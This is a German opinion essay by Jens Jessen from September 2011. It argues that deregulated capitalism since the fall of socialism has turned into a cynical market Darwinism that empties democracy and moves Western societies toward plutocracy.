UNTERWEGS ZUR PLUTOKRATIE

Hemmungsloser Reichtum, betrogene Bürger: Der entfesselte Markt bringt die Demokratie in Gefahr

3.9.2011, Jens Jessen

Weit liegen die siebziger Jahre des vorigen Jahrhunderts zurück, da
der Kapitalismus allgemein nur als »Schweinesystem« bezeichnet wurde,
tatsächlich aber, im Westen wenigstens, ein weitgehend menschliches
Antlitz trug und gegen seine Kritiker leicht verteidigt werden konnte.
Er versprach Wohlstand für alle und schien diese Hoffnung, sehr im
Gegensatz zum Sozialismus, sogar einlösen zu können. Er sorgte sich um
Bildung, sozialen Aufstieg, die wirtschaftliche Teilhabe aller, er war
in Betrieben wie in der Gesellschaft dringlich interessiert, Gründe für
Klassenhass und Klassenkampf zu beseitigen. Man könnte auch sagen: Er
war bereit, sich zähmen zu lassen, um alle Menschen für sein Wachsen und
Gedeihen zu gewinnen – oder doch von der sozialistischen Versuchung
abzuhalten. Vielleicht waren die Unternehmer willens, auf einen Teil
ihrer Profite zu verzichten, um die Akzeptanz des »Systems« und damit
sein langfristiges Überleben zu sichern.

Aber wie auch immer man das Verhältnis zwischen Arbeitgebern und
Arbeitnehmern, Politik und Wirtschaft damals einschätzen will – die
Bereitschaft des Kapitals, Akzeptanzkosten zu tragen, ist verschwunden.
Im Gegenteil: Für die Rettung der Banken, von denen die Finanzkrisen der
letzten Jahre verursacht wurden, musste der Steuerzahler aufkommen. Er
zahlt auch heute nicht nur, um überschuldete Staaten zu retten, sondern
um die Gewinne der Spekulanten zu sichern, die auf den Bankrott dieser
Staaten wetten. Das wird im Übrigen nicht einmal beklagt. Ein
Heilsversprechen dichtet niemand mehr dem Kapitalismus an. Der Markt, so
heißt es inzwischen, sei nun einmal dazu da, die Überlebenskräfte von
Staaten, Firmen, Menschen zu testen und die Starken von der Last der
Schwachen zu befreien.

Das ist der Kern der Lehre, die allgemein, aber vielleicht zu
Unrecht, neoliberal genannt wird. In jedem Fall hat sie nur noch
schwache Ähnlichkeit mit dem klassischen Liberalismus, der die Freiheit
des Individuums nicht nur als Freiheit des stärksten Marktteilnehmers
sah, alle Übrigen ins Elend zu stürzen. Einen gewissen, manchmal vagen
Nutzen für das Gemeinwohl erwartete auch der Liberale von der
Marktkonkurrenz. Er war vielleicht ein Träumer – in seiner Hoffnung auf
eine magische Macht der Märkte, alles zum Guten zu wenden –, aber ein
Zyniker war er nicht. Das änderte sich, als in der Bankenkrise plötzlich
nach dem Staat gerufen werden musste, den der Liberale bisher immer als
Störenfried draußen halten wollte. Der Eindruck war so überwältigend,
dass der Markt nicht mehr dem Allgemeinwohl, sondern das Allgemeinwohl
dem Markt zu dienen hatte, dass die Lobredner des Kapitals
augenblicklich ihre letzten menschenfreundlichen Versprechungen fallen
ließen.

Das hieß jedoch nicht, dass den Regierungen auch nur irgendeine der
dringend notwendigen Regulierungen der Märkte gestattet wurde. Vielmehr
galt der Markt nunmehr als Naturgesetz, das als solches allen
menschlichen Wünschen nach Glück oder Moral entzogen ist. Der Markt
wurde zur Schicksalsmacht, und alles Klagen offenbarte nur die
Untüchtigkeit der Klagenden, die sich auf ihm nicht zu behaupten
vermögen. Von der Fortschrittshoffnung der Liberalen blieb nichts als
ein Darwinismus, der sich am survival of the fittest freut und die Aussonderung schwacher Schuldner, schwacher Staaten, schwacher Arbeitnehmer feiert.

Im Rückblick wird man wahrscheinlich sagen, dass es der Untergang des
Sozialismus war, der den Kapitalismus auf diese Weise enthemmte und
seine Schönredner von der Schönrednerei zu einer Rhetorik der Härte
führte. Die Systemkonkurrenz war entfallen, und der Kapitalismus meinte,
um seine Akzeptanz nicht mehr bangen zu müssen. Das allerdings könnte
sich als schwerer Fehler erweisen. Noch ist freilich keine Revolution
ausgerufen worden, und die Demonstranten, die in London, Athen oder
Madrid auf die Straße gehen, wirken beängstigend unpolitisch. Gegen wen richtet sich ihr Protest? Glauben sie, durch Unmutsbekundungen das Börsengeschehen beeinflussen zu können?

Die friedlichen wie die stumm randalierenden Protestzüge zeigen vor
allem ein Bild ungeheurer Entmutigung: wie von Schafen, die auf dem Weg
zur Schlachtbank blöken. Und manches spricht dafür, dass sie darin nur
die Haltung ihrer Regierungen in der Finanzkrise spiegeln, deren
Botschaft an die Masse der Bürger lautet: dulden, durchstehen, den
Schaden bezahlen, den sie nicht angerichtet haben. Wo aber stumme
Duldung die einzig empfohlene Haltung bleibt, hat sich das Politische
tatsächlich verflüchtigt und keine demokratische Adresse mehr. Wenn ein
so gewaltiger Lebensbereich wie die Wirtschaft, die noch dazu viele
weitere Lebensbereiche tyrannisch bestimmt, der gesellschaftlichen
Gestaltungskraft entzogen wird, ist auch die Demokratie sinnlos. Eine
Demokratie, die sich darauf beschränkt, Rauchverbote in Gaststätten zu
erlassen oder die Helmpflicht von Radfahrern zu diskutieren, also dem
gegenseitigen Gängelungsverhalten der Bürger nachzugeben, aber die eine
große Macht, die alle gängelt, nicht beherrschen kann, ist das Papier
nicht wert, auf dem ihre Verfassung gedruckt wird.

Es wäre verwunderlich, wenn das lähmende Ohnmachtsgefühl, die
Entpolitisierung der Jugend nicht hier ihren Ursprung hätten. Sie steht
sprachlos vor Regierungen, die sie gewählt hat, die aber nichts
unternehmen, was im Wählerinteresse wäre. Wer hat die Politiker
erpresst, wer hat sie bestochen? Wo sind die Bärenführer, von denen sich
ganze Kabinette wie am Nasenring durch die Manege führen lassen? Ganz
augenscheinlich ist die Furcht vor einer Wahlniederlage nichts im
Vergleich zu dem Druck, den Wirtschaftskreise auf Politiker auszuüben
vermögen.

Und in der Tat haben die Politiker von einer Wahl nichts zu
befürchten: Der Bürger, der die Politiker für ihren Verrat an seinen
Interessen bestrafen möchte, fände keine Partei im demokratischen
Spektrum, die bereit wäre, sein Interesse gegen die Wirtschaft
durchzusetzen. Er könnte in Deutschland die SPD gegen die CDU oder die
CDU gegen die SPD oder beide gegen die Grünen auswechseln, ohne dass
sich am Katzbuckeln vor dem Kapital etwas ändern würde. Der Grund ist
einfach: Das Kapital, dem Regulierung bevorsteht, würde um den Globus
weiterziehen, unter Mitnahme von Wohlstand und Arbeitsplätzen. Die
Drohung mit Arbeitsplatzverlusten, aber auch die Finanzkraft, ganze
Staaten in den Abgrund zu spekulieren, verleihen dem Kapital eine
politische Macht, die bei Weitem bedrohlicher ist als alles, was eine
feintuerische Kapitalismuskritik über Entfremdung und andere seelische
Fernwirkungen formuliert hat.

Indes könnte es durchaus sein, dass die Arbeitsplätze ohnehin
schwinden und der Wohlstand auch hierzulande sich auf eine Weise von
unten nach oben umverteilt, dass er der Masse der Bürger kein
Versprechen mehr ist. Mit anderen Worten: Manches spricht dafür, dass
die kapitalistische Dynamik der Profitmaximierung etwas leistet, was die
schärfsten Kritiker des Systems bisher nicht geschafft haben: ihm jedes
Glücksversprechen auszutreiben. Wenn diese Ernüchterung ebenfalls um
den Globus zieht, wird das Kapital, das sich so gerne als scheues Reh
sieht, kein Plätzchen mehr finden, die zarten Glieder zu betten.

Und tatsächlich breitet sich die Ernüchterung schon aus. Sie kennt
keine Parteigrenzen und erst recht keine Grenzen zwischen links und
rechts. Schon sagen selbst konservative Beobachter, dass sich in Amerika
unter dem Mäntelchen der Marktrhetorik in Wahrheit ein Umbau des Landes
zugunsten einer Plutokratie vollzieht. Es scheint nur unendlich schwer –
und das zeigt den Erfolg der marktliberalen Gehirnwäsche –, das
Mäntelchen hinwegzuziehen und uns von dem Gedanken zu befreien, dass die
Ökonomie, so wie sie ist, unser Schicksal sei und mit ihm zu hadern
einer Gotteslästerung gleichkomme. All die Wirtschaftsprofessoren und
Wirtschaftsjournalisten, die den Markt zur entscheidenden
Lenkungsinstanz unseres Daseins erklärt haben, mehr noch die
Unternehmensberater, die nach den Firmen auch die Schulen, die
Universitäten, die Theater, den Sport, alle Lebensbereiche dem Gesetz
der Rentabilität unterworfen haben oder höchstens noch als
Zulieferbetriebe für die Zwecke der Wirtschaft alimentieren wollen,
haben an der großen Umerziehung mitgewirkt, die uns einhämmert, dass es
nur einen letzten Wert gebe: den des Profits.

Einen Beleg dieses Denkens hat gerade erst Hans-Peter Keitel,
Präsident des Bundesverbands der deutschen Industrie (BDI) geliefert,
als er den Erfolg der libyschen Rebellen mit den Worten feierte: »Die
Freiheit, die Millionen von Menschen gerade gewinnen, bietet auch
wirtschaftliche Chancen – auch für deutsche Unternehmen.« Da ist also in
der Sicht der deutschen Wirtschaft etwas gerade noch, mit knapper Not,
gut gegangen: Gott sei Dank ist die Freiheit in Libyen kein Selbstzweck,
sondern wirft ökonomischen Nutzen ab.

Manchmal haben kleine Dinge große Wirkungen. Vielleicht muss es nur
noch ein paar kleine Zynismen dieser Art – es sind fast Delikatessen –
geben, und die ganze Menschenverachtung dieser Wirtschaftsgesinnung wird
offenbar.

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